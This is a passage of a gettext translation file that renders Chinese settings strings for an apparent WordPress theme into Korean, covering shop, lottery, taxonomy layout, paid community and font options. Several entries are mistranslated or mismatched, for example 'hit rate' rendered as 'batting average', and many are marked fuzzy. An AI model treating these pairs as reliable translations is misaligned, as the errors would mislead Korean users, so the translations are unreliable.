#: Modules/Settings/Shop.php:651
msgid "如果选择虚拟物品，请在左下设置虚拟物品的相关参数"
msgstr ""
"가상 아이템을 선택하신 경우 왼쪽 하단에 가상 아이템의 관련 매개 변수를 설정하"
"십시오."

#: Modules/Settings/Shop.php:655
msgid "允许购买（或抽奖，或兑换）的用户组"
msgstr "그리기가 허용 된 사용자 그룹"

#: Modules/Settings/Shop.php:659
msgid ""
"选择允许购买（或抽奖，或兑换）此商品的用户组后将只允许这些用户购买（或抽奖，"
"或兑换），如果不选择所有人都可以购买（或抽奖，或兑换）"
msgstr ""
"추첨을 허용하는 사용자 그룹을 선택하면 해당 사용자 만 추첨을 할 수 있으며, 그"
"렇지 않으면 누구나 추첨을 할 수 있습니다."

#: Modules/Settings/Shop.php:663
msgid "是否为多规格多价格商品"
msgstr "여러 사양과 여러 가격이 있는 제품인지 여부"

#: Modules/Settings/Shop.php:667
msgid "多规格商品"
msgstr "다중 사양 제품"

#: Modules/Settings/Shop.php:668
msgid "单规格商品"
msgstr "단일 사양 제품"

#: Modules/Settings/Shop.php:671
msgid ""
"如果此产品只有一种规格，一个价格，请选择单规格商品。如果此产品有多个规格，多"
"个价格，请选择多规格商品"
msgstr ""
"이 제품에 하나의 사양과 하나의 가격만 있는 경우 단일 사양 제품을 선택하십시"
"오. 이 제품의 사양과 가격이 여러 개인 경우 사양이 여러 개인 제품을 선택하세"
"요."

#: Modules/Settings/Shop.php:676
msgid "多规格设置"
msgstr "다중 사양 설정"

#: Modules/Settings/Shop.php:686
msgid "多规格json参数"
msgstr "다중 사양 json 매개변수"

#: Modules/Settings/Shop.php:688
msgid ""
"程序自动生成的JSON数据，禁止直接在此处编辑。您可以复制此JSON数据到其他商品中"
"使用。"
msgstr ""
"프로그램에서 자동으로 생성된 JSON 데이터는 여기에서 직접 편집할 수 없습니다. "
"이 JSON 데이터를 복사하여 다른 제품에서 사용할 수 있습니다."

#: Modules/Settings/Shop.php:693 Modules/Settings/Shop.php:876
msgid "是否隐藏销售数量"
msgstr "판매 수량 숨기기 여부"

#: Modules/Settings/Shop.php:697 Modules/Settings/Shop.php:880
msgid "隐藏销售数量"
msgstr "숨겨진 판매 수량"

#: Modules/Settings/Shop.php:698 Modules/Settings/Shop.php:881
msgid "显示销售数量"
msgstr "판매 수량 표시"

#: Modules/Settings/Shop.php:730
msgid "商品设置"
msgstr "상품 설정"

#: Modules/Settings/Shop.php:738 Modules/Settings/Shop.php:742
msgid "正常价格（必填）"
msgstr "정상 가격"

#: Modules/Settings/Shop.php:746
msgid "折后价格"
msgstr "할인 가격"

#: Modules/Settings/Shop.php:750 Modules/Settings/Shop.php:758
msgid "如果不设置此价格，请直接留空"
msgstr ""
"금액이 0 인 경우 0.00을 입력하고,이 가격을 설정하지 않은 경우 공백으로 두십시"
"오."

#: Modules/Settings/Shop.php:754
msgid "会员价格"
msgstr "회원 가격"

#: Modules/Settings/Shop.php:765
msgid ""
"如果是会员，优先使用会员价格，其次使用折后价格，如果会员价格和折后价格都没有"
"设置，则默认使用正常价格。奖励积分是用户购买之后获得的积分奖励值。"
msgstr ""
"회원 인 경우 회원가를 먼저 사용하고, 할인 된 가격을 두 번째로 사용하며, 회원"
"가와 할인가가 모두 설정되지 않은 경우 기본적으로 정상가가 사용됩니다. 보상 포"
"인트는 사용자가 구매 한 후 획득하는 포인트 보상 가치입니다."

#: Modules/Settings/Shop.php:769
msgid "外链商品"
msgstr "외부 체인 제품"

#: Modules/Settings/Shop.php:772
msgid ""
"如果此商品为外链商品，请直接在此处输入外链商品的连接，用户点击之后会进行跳"
"转，一般用于淘宝客。"
msgstr ""
"이 제품이 오프 체인 제품인 경우 여기에 직접 오프 체인 제품 링크를 입력하면 사"
"용자가 클릭 후 점프합니다."

#: Modules/Settings/Shop.php:796
msgid "抽奖设置"
msgstr "복권 설정"

#: Modules/Settings/Shop.php:804
msgid "命中率"
msgstr "타율"

#: Modules/Settings/Shop.php:808
msgid "默认0.01 即1%的命中率，请直接填写小数"
msgstr "기본값 0.01은 1 % 적중률입니다. 소수점을 직접 입력하십시오."

#: Modules/Settings/Shop.php:812
msgid "抽奖所需积分"
msgstr "추첨에 필요한 포인트"

#: Modules/Settings/Shop.php:816
msgid "抽奖完成会扣除这些积分"
msgstr "이 포인트는 추첨이 완료된 후 차감됩니다."

#: Modules/Settings/Shop.php:820 Modules/Settings/Shop.php:845
msgid "商品原价"
msgstr "원래 가격"

#: Modules/Settings/Shop.php:824
msgid "展示给用户，当前抽奖商品的原价是多少"
msgstr "사용자에게 현재 복권 제품의 원래 가격이 얼마인지 보여줍니다."

#: Modules/Settings/Shop.php:837
msgid "兑换所需积分"
msgstr "교환에 필요한 포인트"

#: Modules/Settings/Shop.php:841
msgid "兑换完成会扣除用户的相应积分"
msgstr "사용 완료 후 사용자의 해당 포인트가 차감됩니다."

#: Modules/Settings/Shop.php:849
msgid "展示给用户，当前积分兑换的商品的原价是多少"
msgstr ""
"사용자에게 현재 포인트로 교환 된 상품의 원래 가격이 얼마인지 보여줍니다."

#: Modules/Settings/Shop.php:854
msgid "商品数量"
msgstr "상품의 양"

#: Modules/Settings/Shop.php:862 Modules/Templates/Single.php:845
msgid "库存数量"
msgstr "재고 수량"

#: Modules/Settings/Shop.php:869
msgid "已经出售或兑换数量："
msgstr "판매 또는 교환 된 수량 :"

#: Modules/Settings/Shop.php:888
msgid "虚拟物品购买结果"
msgstr "가상 상품 구매 결과"

#: Modules/Settings/Shop.php:896
msgid "虚拟物品类型"
msgstr "가상 아이템의 유형"

#: Modules/Settings/Shop.php:900 comments.php:102
msgid "文本"
msgstr "본문"

#: Modules/Settings/Shop.php:901 Modules/Templates/VueTemplates.php:557
msgid "卡密"
msgstr "비빌카드"

#: Modules/Settings/Shop.php:909
msgid "直接展示的内容"
msgstr "직접 표시되는 콘텐츠"

#: Modules/Settings/Shop.php:913
msgid ""
"购买结果支持html，如果是复杂的HTML可能用户的邮件中无法显示，或被邮件服务器过"
"滤，不过商品页面会正常显示购买结果。"
msgstr ""
"구매 결과는 html을 지원하며 복잡한 HTML 인 경우 사용자의 이메일에 표시되지 않"
"거나 메일 서버에 의해 필터링되지 않을 수 있지만 제품 페이지에는 정상적으로 구"
"매 결과가 표시됩니다."

#: Modules/Settings/Shop.php:917
msgid "发送到邮箱的内容"
msgstr "사서함으로 전송 된 콘텐츠"

#: Modules/Settings/Shop.php:921
#, php-format
msgid ""
"此项设置可以填写多条内容，用户购买以后按照从上到下的顺序发送，如果已经购买"
"过，后面会变成%s的形式。请确保商品数量和此处卡密数量一致，否则可能出现超卖而"
"又收不到卡密的情况。每一条内容占一行。比如：%s已经购买过会变成%s"
msgstr ""
"이 설정은 여러 콘텐츠를 채울 수 있습니다. 사용자가 구매 한 후에는 위에서 아래"
"로 순서대로 전송됩니다. 이미 구매 한 경우 나중에  %s가됩니다. 상품의 수량이 "
"여기에있는 카드 키 개수와 동일한 지 확인하십시오. 그렇지 않으면 과매도되어 카"
"드 키를받을 수 없습니다. 각 콘텐츠는 한 줄을 차지합니다. 예 :  %s는 이미 구매"
"했으며  %s가됩니다."

#: Modules/Settings/Shop.php:926 TempParts/Shop/single-shop.php:19
msgid "商品属性"
msgstr "상품 속성"

#: Modules/Settings/Shop.php:934
msgid "商品属性值"
msgstr "상품 속성 값"

#: Modules/Settings/Shop.php:937
#, php-format
msgid ""
"请按照%s属性名|属性值%s的格式设置商品属性，每个属性占一行，不填则不显示此项。"
"比如%s%s颜色|红色%s尺码|30%s"
msgstr ""
"제품 속성을  %s 속성 이름 | 속성 값  %s 형식으로 설정하십시오. 각 속성은 한 "
"줄을 차지하며이 항목이 비어 있으면 표시되지 않습니다. 예 :  %s  %s color | "
"red  %s size | 30  %s"

#: Modules/Settings/Shop.php:942
msgid "商品图片"
msgstr "제품 사진"

#: Modules/Settings/Shop.php:950
msgid "更多展示图片"
msgstr "더 많은 디스플레이 사진"

#: Modules/Settings/Shop.php:951
msgid "这些图片会在商品页面顶部显示，可以设置多个"
msgstr "이 사진은 제품 페이지 상단에 표시되며 여러 개를 설정할 수 있습니다."

#: Modules/Settings/Taxonomies.php:17
msgid "Tax 设置"
msgstr "세금 설정"

#: Modules/Settings/Taxonomies.php:49
#, php-format
msgid ""
"如果需要批量设置多个分类的的筛选，您可以前往%s分类筛选批量设置%s中进行操作"
msgstr ""
"여러 카테고리에 대한 필터를 일괄적으로 설정해야 하는 경우 %s카테고리 필터링 "
"일괄 설정%s으로 이동하여 작업할 수 있습니다."

#: Modules/Settings/Taxonomies.php:78 Modules/Settings/Template.php:1002
msgid "请选择要显示的文章分类，可以拖动排序"
msgstr "표시 할 기사 카테고리를 선택하세요. 드래그하여 정렬 할 수 있습니다."

#: Modules/Settings/Taxonomies.php:118 Modules/Settings/Template.php:1838
msgid "请选择要显示的专题，可以拖动排序"
msgstr "표시 할 기사 카테고리를 선택하세요. 드래그하여 정렬 할 수 있습니다."

#: Modules/Settings/Taxonomies.php:145 Modules/Settings/Template.php:1848
#, php-format
msgid ""
"格式为：%s%s%s比如：%s如果不使用请留空%s您可以安装Advanced Custom Fields插件"
"来简化文章编辑页面自定义字段的输入流程"
msgstr ""
"형식은 다음과 같습니다.  %s  %s  %s 예 :  %s 사용하지 않는 경우 공백으로 두십"
"시오  %s 고급 사용자 정의 필드 플러그인을 설치하여 기사 편집 페이지에서 사용"
"자 정의 필드의 입력 프로세스를 단순화 할 수 있습니다."

#: Modules/Settings/Taxonomies.php:160 Modules/Settings/Template.php:1863
#, php-format
msgid ""
"请输入筛选名称以及允许筛选的标签，比如：%s竖线前面为筛选名称，后面是要筛选的"
"标签，用英文逗号隔开。每行代表一组筛选。如果不启用此筛选，请留空"
msgstr ""
"필터 이름과 필터링이 허용 된 태그를 입력하십시오. 예를 들어,  %s는 세로줄 앞"
"에 필터 이름이 있고 그 뒤에 필터링 할 태그가 쉼표로 구분되어 있습니다. 각 행"
"은 필터 세트를 나타냅니다. 이 필터를 사용하지 않는 경우 비워 두십시오."

#: Modules/Settings/Taxonomies.php:170 Modules/Settings/Taxonomies.php:248
#: Modules/Settings/Template.php:1873 Modules/Templates/Archive.php:161
#: Modules/Templates/Archive.php:469 Modules/Templates/Widgets/Ask.php:192
#: Modules/Templates/Widgets/Newsflashes.php:70 archive-ask.php:48
msgid "最新"
msgstr "최신 순"

#: Modules/Settings/Taxonomies.php:171 Modules/Settings/Taxonomies.php:250
#: Modules/Settings/Template.php:1874 Modules/Templates/Archive.php:165
#: Modules/Templates/Archive.php:472
#: Modules/Templates/Widgets/HotInfomation.php:68
#: Modules/Templates/Widgets/Newsflashes.php:72
#: Modules/Templates/Widgets/Post.php:85
msgid "随机"
msgstr "임의 순"

#: Modules/Settings/Taxonomies.php:172 Modules/Settings/Taxonomies.php:251
#: Modules/Settings/Template.php:1875 Modules/Templates/Archive.php:169
#: Modules/Templates/Archive.php:463
msgid "最多浏览"
msgstr "조회 순"

#: Modules/Settings/Taxonomies.php:173 Modules/Settings/Taxonomies.php:252
#: Modules/Settings/Template.php:1876 Modules/Templates/Archive.php:173
#: Modules/Templates/Archive.php:466
msgid "最多喜欢"
msgstr "인기 순"

#: Modules/Settings/Taxonomies.php:174 Modules/Settings/Taxonomies.php:253
#: Modules/Settings/Template.php:1877 Modules/Templates/Archive.php:177
#: Modules/Templates/Archive.php:460
msgid "最多评论"
msgstr "댓글 순"

#: Modules/Settings/Taxonomies.php:182
msgid "存档页面布局设置"
msgstr "페이지 레이아웃 설정 보관"

#: Modules/Settings/Taxonomies.php:185
msgid "布局设置"
msgstr "레이아웃 설정"

#: Modules/Settings/Taxonomies.php:196 Modules/Settings/Template.php:916
msgid "网格模式"
msgstr "그리드 모드"

#: Modules/Settings/Taxonomies.php:200 Modules/Settings/Template.php:920
msgid "瀑布流"
msgstr "폭포 흐름"

#: Modules/Settings/Taxonomies.php:204 Modules/Settings/Template.php:924
msgid "列表模式"
msgstr "목록 모드"

#: Modules/Settings/Taxonomies.php:208 Modules/Settings/Template.php:928
msgid "组合模式"
msgstr "조합 모드"

#: Modules/Settings/Taxonomies.php:212 Modules/Settings/Template.php:932
msgid "纯文字模式"
msgstr "일반 텍스트 모드"

#: Modules/Settings/Taxonomies.php:216 Modules/Settings/Template.php:936
msgid "纯文字带自定义字段"
msgstr "사용자 정의 필드{#}"

#: Modules/Settings/Taxonomies.php:232 Modules/Settings/Template.php:953
msgid "列表样式"
msgstr "목록 스타일"

#: Modules/Settings/Taxonomies.php:244 Modules/Settings/Template.php:965
msgid "排序方式"
msgstr "정렬 기준"

#: Modules/Settings/Taxonomies.php:249 Modules/Settings/Template.php:970
msgid "修改时间"
msgstr "시간 변경"

#: Modules/Settings/Taxonomies.php:259 Modules/Settings/Template.php:1019
#: Modules/Settings/Template.php:1197
msgid "每行显示数量"
msgstr "라인 당 수량 표시"

#: Modules/Settings/Taxonomies.php:266 Modules/Settings/Template.php:1026
#: Modules/Settings/Template.php:1204
msgid "每页显示数量"
msgstr "페이지 당 수량 표시"

#: Modules/Settings/Taxonomies.php:274 Modules/Settings/Template.php:1034
msgid "【纯文字带自定义字段】模式自定义字段"
msgstr "[사용자 정의 필드가있는 일반 텍스트] 모드 사용자 정의 필드"

#: Modules/Settings/Taxonomies.php:277 Modules/Settings/Template.php:1037
#, php-format
msgid "如果不需要请留空。请根据%s格式设置您要显示的自定义字段，比如：%s"
msgstr ""
"필요하지 않은 경우 공백으로 두십시오. %s 형식에 따라 표시 할 사용자 정의 필드"
"를 설정하십시오. 예 : %s"

#: Modules/Settings/Taxonomies.php:286
msgid "PC端缩略图宽度"
msgstr "[목록 모드] PC 썸네일 너비"

#: Modules/Settings/Taxonomies.php:290 Modules/Settings/Template.php:1050
msgid "PC端该【列表模式】下缩略图的宽度，单位是px，请直接填写数字即可。"
msgstr "PC의 [목록 모드]에서 썸네일의 너비는 px 단위로 숫자를 직접 입력하세요."

#: Modules/Settings/Taxonomies.php:294 Modules/Settings/Template.php:1054
msgid "PC端缩略图比例"
msgstr "축소판 비율"

#: Modules/Settings/Taxonomies.php:298 Modules/Settings/Template.php:1058
#, php-format
msgid "PC端该【列表模式】下缩略图宽和高的比例，比如%s，%s。"
msgstr "너비와 높이의 비율 (예 :  %s,  %s)을 입력하십시오."

#: Modules/Settings/Taxonomies.php:302 Modules/Settings/Template.php:1062
msgid "移动端缩略图宽度"
msgstr "【목록 모드】 모바일 썸네일 너비"

#: Modules/Settings/Taxonomies.php:306 Modules/Settings/Template.php:1066
msgid "移动端该【列表模式】下缩略图的宽度，单位是px，请直接填写数字即可。"
msgstr ""
"모바일 단말기의 [목록 모드]에서 썸네일의 너비는 px 단위로 직접 숫자를 입력하"
"세요."

#: Modules/Settings/Taxonomies.php:310 Modules/Settings/Template.php:1070
msgid "移动端缩略图比例"
msgstr "축소판 비율"

#: Modules/Settings/Taxonomies.php:314 Modules/Settings/Template.php:1074
#, php-format
msgid "移动端该【列表模式】下缩略图宽和高的比例，比如%s，%s。"
msgstr "너비와 높이의 비율 (예 :  %s,  %s)을 입력하십시오."

#: Modules/Settings/Taxonomies.php:319 Modules/Settings/Template.php:1079
msgid "PC端标题最多显示几行"
msgstr "PC에서 제목에 대해 최대 몇 줄 표시"

#: Modules/Settings/Taxonomies.php:323 Modules/Settings/Taxonomies.php:331
#: Modules/Settings/Template.php:1083 Modules/Settings/Template.php:1091
msgid ""
"如果设置成1，标题超过1行会显示省略号，如果设置2，标题超过2行会显示省略号，以"
"此类推。"
msgstr ""
"1로 설정하면 제목이 1 줄을 초과하면 줄임표가 표시되고 2로 설정하면 제목이 2 "
"줄을 초과하면 줄임표가 표시됩니다."

#: Modules/Settings/Taxonomies.php:327 Modules/Settings/Template.php:1087
msgid "移动端端标题最多显示几行"
msgstr "모바일 단말기의 제목에 대해 최대 몇 줄 표시"

#: Modules/Settings/Taxonomies.php:336 Modules/Settings/Template.php:1096
msgid "缩略图比例"
msgstr "축소판 비율"

#: Modules/Settings/Taxonomies.php:340 Modules/Settings/Template.php:1100
#, php-format
msgid "缩略图高度自适应的情况下不生效，请填写宽和高的比例，比如%s，%s。"
msgstr ""
"썸네일의 적응성이 높을 때는 효과가 없습니다.  %s,  %s와 같이 너비와 높이의 비"
"율을 입력하십시오."

#: Modules/Settings/Taxonomies.php:345 Modules/Settings/Template.php:1105
#: Modules/Settings/Template.php:1219
msgid "打开方式"
msgstr "개방 방식"

#: Modules/Settings/Taxonomies.php:349 Modules/Settings/Template.php:1109
#: Modules/Settings/Template.php:1223 Modules/Settings/Template.php:1313
msgid "原窗口打开"
msgstr "원래 창이 열립니다"

#: Modules/Settings/Taxonomies.php:350 Modules/Settings/Template.php:876
#: Modules/Settings/Template.php:1110 Modules/Settings/Template.php:1224
#: Modules/Settings/Template.php:1314
msgid "新窗口打开"
msgstr "새 창에서 열기"

#: Modules/Settings/Taxonomies.php:356
msgid "meta选择"
msgstr "메타 선택"

#: Modules/Settings/Taxonomies.php:362 Modules/Settings/Template.php:1129
#: Pages/write.php:652
msgid "摘要"
msgstr "요약"

#: Modules/Settings/Taxonomies.php:363 Modules/Settings/Template.php:1128
#: Modules/Templates/Archive.php:223 Modules/Templates/Modules/Posts.php:832
#: Pages/write.php:230 Pages/write.php:243 Pages/write.php:252
msgid "分类"
msgstr "분류"

#: Modules/Settings/Taxonomies.php:365 Modules/Settings/Template.php:1126
#: Modules/Templates/Widgets/HotInfomation.php:71
#: Modules/Templates/Widgets/Post.php:88
msgid "评论数量"
msgstr "댓글 수"

#: Modules/Settings/Taxonomies.php:367 Modules/Settings/Template.php:1130
msgid "视频标签"
msgstr "비디오 태그"

#: Modules/Settings/Taxonomies.php:368 Modules/Settings/Template.php:1131
msgid "下载标签"
msgstr "라벨 다운로드"

#: Modules/Settings/Taxonomies.php:369 Modules/Settings/Template.php:1132
msgid "隐藏内容标签"
msgstr "숨겨진 콘텐츠 구입"

#: Modules/Settings/Taxonomies.php:374 Modules/Settings/Taxonomies.php:446
#: Modules/Settings/Taxonomies.php:501
msgid "特色图"
msgstr "특집 사진"

#: Modules/Settings/Taxonomies.php:376 Modules/Settings/Taxonomies.php:448
#: Modules/Settings/Taxonomies.php:503
msgid "显示在聚合页面的最顶端，尽量使用大图，以适应各种模式下的显示清晰"
msgstr ""
"집계 된 페이지 상단에 표시되며, 다양한 모드에서 선명한 디스플레이에 적응하기 "
"위해 큰 이미지를 사용하십시오."

#: Modules/Settings/Taxonomies.php:394 Modules/Settings/Taxonomies.php:466
#: Modules/Settings/Taxonomies.php:521 Modules/Settings/Taxonomies.php:582
msgid "颜色"
msgstr "색깔"

#: Modules/Settings/Taxonomies.php:397 Modules/Settings/Taxonomies.php:469
#: Modules/Settings/Taxonomies.php:524 Modules/Settings/Taxonomies.php:585
msgid "某些情况下，会使用此颜色作为存档名称的颜色"
msgstr "어떤 경우에는이 색상이 아카이브 이름의 색상으로 사용됩니다."

#: Modules/Settings/Taxonomies.php:402
msgid "是否显示侧边栏"
msgstr "사이드 바 표시 여부"

#: Modules/Settings/Taxonomies.php:407
msgid "显示侧边栏"
msgstr "사이드 바 표시"

#: Modules/Settings/Taxonomies.php:408
msgid "隐藏侧边栏"
msgstr "사이드 바 숨기기"

#: Modules/Settings/Taxonomies.php:410
msgid ""
"如果需要显示侧边栏，请前往外观->小工具里面，设置一下第一个侧边栏小工具，否则"
"仍然不显示"
msgstr ""
"사이드바를 표시해야 하는 경우 모양->가젯으로 이동하여 첫 번째 사이드바 가젯"
"을 설정하십시오. 그렇지 않으면 여전히 표시되지 않습니다."

#: Modules/Settings/Taxonomies.php:414 Modules/Settings/Taxonomies.php:529
msgid "分页方式"
msgstr "쪽수 매기기"

#: Modules/Settings/Taxonomies.php:418 Modules/Settings/Taxonomies.php:533
msgid "传统分页（无ajax）"
msgstr "기존 페이징 (Ajax 없음)"

#: Modules/Settings/Taxonomies.php:419 Modules/Settings/Taxonomies.php:534
msgid "下拉无限加载"
msgstr "무제한 로딩 드롭 다운"

#: Modules/Settings/Taxonomies.php:420 Modules/Settings/Taxonomies.php:535
msgid "ajax分页加载"
msgstr "ajax 페이지 매김 로딩"

#: Modules/Settings/Taxonomies.php:427
msgid "商品分类设置"
msgstr "상품 분류 설정"

#: Modules/Settings/Taxonomies.php:497
#, fuzzy, php-format
msgid "此为当前%s的期数，比如第二期，请直接填写2"
msgstr "2 호 등 현재 화제의 번호입니다. 2 개를 직접 입력 해주세요."

#: Modules/Settings/Taxonomies.php:542
msgid "文档设置"
msgstr "문서 설정"

#: Modules/Settings/Taxonomies.php:612
#, fuzzy, php-format
msgid "%s标签封面图"
msgstr "뉴스 탭"

#: Modules/Settings/Taxonomies.php:628
#, fuzzy, php-format
msgid "显示在%s首页顶部的图片"
msgstr "문서 홈페이지 상단 이미지"

#: Modules/Settings/Taxonomies.php:632
#, fuzzy, php-format
msgid "%s标签描述"
msgstr "뉴스 탭"

#: Modules/Settings/Taxonomies.php:635
#, fuzzy, php-format
msgid "显示在%s标签封面之上，%s标签之下"
msgstr "경고 레이블 아래 경고 레이블 표지에 표시"

#: Modules/Settings/Taxonomies.php:667
#, php-format
msgid "%s类别"
msgstr "%s 카테고리"

#: Modules/Settings/Taxonomies.php:676 Pages/create-circle.php:133
#, php-format
msgid "%s图标"
msgstr "%s 아이콘"

#: Modules/Settings/Taxonomies.php:700
msgid "请直接输入要设置成管理员的用户的ID"
msgstr "관리자로 설정할 사용자의 아이디를 직접 입력 해주세요."

#: Modules/Settings/Taxonomies.php:726
#, php-format
msgid "%s形式"
msgstr "%s 양식"

#: Modules/Settings/Taxonomies.php:730 Pages/all-circles.php:70
#: Pages/create-circle.php:55
#, php-format
msgid "免费%s"
msgstr "무료 %s"

#: Modules/Settings/Taxonomies.php:731 Pages/all-circles.php:71
#: Pages/create-circle.php:56
#, php-format
msgid "付费%s"
msgstr "유료 %s"

#: Modules/Settings/Taxonomies.php:732 Pages/create-circle.php:57
#, php-format
msgid "专属%s"
msgstr "독점 %s"

#: Modules/Settings/Taxonomies.php:735
msgid ""
"免费圈子任何人都可以申请加入；付费圈子需要缴纳一定的金额才能入圈；专属圈子只"
"允许特定等级的用户入圈，具体策略请在下面设置。"
msgstr ""
"무료 서클은 누구나 신청할 수 있으며, 유료 서클은 일정 금액을 지불해야 서클에 "
"입장할 수 있고, 전용 서클은 특정 레벨의 사용자만 서클에 입장할 수 있으므로 아"
"래에서 구체적인 전략을 설정하세요."

#: Modules/Settings/Taxonomies.php:739
#, fuzzy, php-format
msgid "如果是免费%s，请选择加入%s规则"
msgstr "무료 서클 인 경우 가입 규칙을 선택하세요."

#: Modules/Settings/Taxonomies.php:743 Pages/create-circle.php:71
#, php-format
msgid "自由加入%s"
msgstr "무료 가입 %s"

#: Modules/Settings/Taxonomies.php:744
#, fuzzy, php-format
msgid "用户需要审核加入%s"
msgstr "사용자는 서클을 검토해야합니다."

#: Modules/Settings/Taxonomies.php:761
#, fuzzy, php-format
msgid "如果是专属%s，请选择允许加入%s的用户组"
msgstr "전용 서클 인 경우 가입이 허용 된 사용자 그룹을 선택하세요."

#: Modules/Settings/Taxonomies.php:764
#, fuzzy, php-format
msgid ""
"如果您修改了此权限，请前往%s%s设置%s中重置以下该%s的数据。%s如果没有用户组，"
"请前往%s用户设置%s进行设置"
msgstr ""
"이 권한을 수정하는 경우  %s 서클 설정  %s로 이동하여 아래 서클 데이터를 재설"
"정하세요.  %s 사용자 그룹이 없으면  %s 사용자 설정  %s로 이동하여 설정하십시"
"오."

#: Modules/Settings/Taxonomies.php:769
#, fuzzy, php-format
msgid "如果是收费%s，请设置金额（有效期：永久有效）"
msgstr "유료 서클 인 경우 금액을 설정하세요 (유효성 : 영구)"

#: Modules/Settings/Taxonomies.php:777
#, fuzzy, php-format
msgid "如果是收费%s，请设置金额（有效期：按年付费）"
msgstr "유료 서클 인 경우 금액을 설정하세요 (유효성 : 연간 청구)"

#: Modules/Settings/Taxonomies.php:785
#, fuzzy, php-format
msgid "如果是收费%s，请设置金额（有效期：半年付费）"
msgstr "유료 서클 인 경우 금액을 설정 해주세요. (유효 기간 : 반년 지급)"

#: Modules/Settings/Taxonomies.php:793
#, fuzzy, php-format
msgid "如果是收费%s，请设置金额（有效期：季度付费）"
msgstr "충전 서클 인 경우 금액을 설정하세요 (유효성 : 분기 별 결제)"

#: Modules/Settings/Taxonomies.php:801
#, fuzzy, php-format
msgid "如果是收费%s，请设置金额（有效期：按月付费）"
msgstr "유료 서클 인 경우 금액을 설정하세요. (유효 기간 : 월별 결제)"

#: Modules/Settings/Taxonomies.php:811
#, php-format
msgid "请选择%s隐私"
msgstr "%s 개인정보를 선택하세요."

#: Modules/Settings/Taxonomies.php:815 Pages/create-circle.php:120
#, fuzzy, php-format
msgid "%s内帖子公开显示"
msgstr "서클의 게시물이 공개적으로 표시됩니다."

#: Modules/Settings/Taxonomies.php:816 Pages/create-circle.php:121
#, fuzzy, php-format
msgid "%s内帖子只对%s开放"
msgstr "서클 내 소식은 서클 친구에게만 공개됩니다."

#: Modules/Settings/Taxonomies.php:818
#, fuzzy, php-format
msgid ""
"如果您修改了此权限，请前往%s%s设置%s中重置以下该%s的数据。%s公开显示：即便用"
"户没有入群，也可以查看%s内帖子，同时也会在广场显示；只对%s开放：用户加入%s之"
"后才能查看%s帖子，不对外开放。"
msgstr ""
"이 권한을 수정하는 경우  %s 서클 설정  %s로 이동하여 아래 서클 데이터를 재설"
"정하세요.  %s 공개 표시 : 사용자가 그룹에없는 경우에도 서클의 게시물을 볼 수 "
"있으며 스퀘어에도 표시됩니다. 서클 친구에게만 공개 : 사용자는 그룹에 가입 한 "
"후 서클의 게시물을 볼 수 있으며 공개되지 않습니다."

#: Modules/Settings/Taxonomies.php:822
msgid "允许查看前几篇帖子"
msgstr "이전 글 보기 허용"

#: Modules/Settings/Taxonomies.php:826
#, php-format
msgid ""
"如果此%s内帖子只对%s开放，您可以允许未加入的人查看前几篇帖子，如果不填写或者"
"填写0，则未加入的人可查看的帖子数为0。"
msgstr ""
"이 %s의 게시글이 %s까지만 열려 있는 경우, 가입하지 않은 사람들이 이전 게시글"
"을 볼 수 있도록 허용할 수 있으며, 0을 채우지 않거나 채우지 않으면 가입하지 않"
"은 사람들이 볼 수 있는 게시글 수는 0이 됩니다."

#: Modules/Settings/Taxonomies.php:840
msgid "连接设置"
msgstr "연결 설정"

#: Modules/Settings/Taxonomies.php:859
#: Modules/Templates/Widgets/Bookmark.php:64
msgid "是否包含子链接分类中的链接"
msgstr "하위 링크 범주에 링크를 포함할지 여부"

#: Modules/Settings/Taxonomies.php:867
#: Modules/Templates/Widgets/Bookmark.php:72
msgid ""
"如果此链接分类中有子链接分类，您可以选择是否显示子链接分类中的链接，注意，如"
"果子链接分类特别多（大于20个）可能会有性能问题。"
msgstr ""
"이 링크 카테고리에 서브 링크 카테고리가 있는 경우, 서브 링크 카테고리에 링크"
"를 표시할지 여부를 선택할 수 있으며, 서브 링크 카테고리가 너무 많을 경우(20"
"개 이상) 성능 문제가 발생할 수 있습니다."

#: Modules/Settings/Taxonomies.php:889
msgid "每页显示几个"
msgstr "페이지 당 수량 표시"

#: Modules/Settings/Taxonomies.php:901 Modules/Settings/Template.php:673
#: Modules/Templates/Widgets/Bookmark.php:97
msgid "最后添加的排在前面"
msgstr "마지막으로 추가된 항목이 먼저 표시됩니다."

#: Modules/Settings/Taxonomies.php:913
msgid "子链接分类"
msgstr "서브링크 카테고리"

#: Modules/Settings/Taxonomies.php:919
msgid "加载更多按钮"
msgstr "더보기"

#: Modules/Settings/Taxonomies.php:929 Modules/Settings/Taxonomies.php:937
msgid "帖子权限设置"
msgstr "주제 게시 권한 설정"

#: Modules/Settings/Taxonomies.php:936
#, fuzzy, php-format
msgid "%s帖子权限设置%s%s您可以在这里单独给某个帖子设置发布阅读权限等。%s"
msgstr ""
"%s 게시물 권한 설정 %s% 여기에서 게시물의 게시 및 읽기 권한을 개별적으로 설정"
"할 수 있습니다. %s"

#: Modules/Settings/Taxonomies.php:940
#, fuzzy, php-format
msgid ""
"如果使用全局设置，这里请选择全局设置，并且在主题设置->%s设置->话题设置中编辑"
"全局权限"
msgstr ""
"전역 설정을 사용하는 경우 여기에서 전역 설정을 선택하고 테마 설정-> 서클 설"
"정-> 주제 설정에서 전역 권한을 편집하십시오."

#: Modules/Settings/Taxonomies.php:943
#, fuzzy, php-format
msgid "自定义该%s的发帖权限"
msgstr "서클의 게시 권한 사용자 지정"

#: Modules/Settings/Template.php:183
msgid "模块管理"
msgstr "모듈 관리"

#: Modules/Settings/Template.php:187
msgid "页面宽度"
msgstr "페이지 너비"

#: Modules/Settings/Template.php:188
#, php-format
msgid "请直接填写宽度数字，默认%s，不支持百分比。"
msgstr ""
"너비 숫자를 직접 입력하십시오. 기본값은  %s이며 백분율은 지원되지 않습니다."

#: Modules/Settings/Template.php:195
msgid "字体设置"
msgstr "글꼴 설정"

#: Modules/Settings/Template.php:196
msgid ""
"主题自带几款免费商用的中文字体，您可以选择关闭或者使用，中文字体体积比较大，"
"选择之后可能会影响首屏展示速度。"
msgstr ""
"테마는 여러 무료 상용 중국어 글꼴과 함께 제공되며 닫거나 사용할 수 있습니다."
"중국어 글꼴은 상대적으로 크고 선택은 첫 번째 화면의 표시 속도에 영향을 줄 수 "
"있습니다."

#: Modules/Settings/Template.php:201
msgid "oppo黑体"
msgstr "오포 블랙 바디"

#: Modules/Settings/Template.php:202
msgid "鸿蒙黑体"
msgstr "홍멍 하이바디"

#: Modules/Settings/Template.php:203
msgid "思源宋体"
msgstr "시위안 송 티"

#: Modules/Settings/Template.php:204
msgid "霞鹜文楷"
msgstr "샤우 웬 카이"

#: Modules/Settings/Template.php:205
#, fuzzy
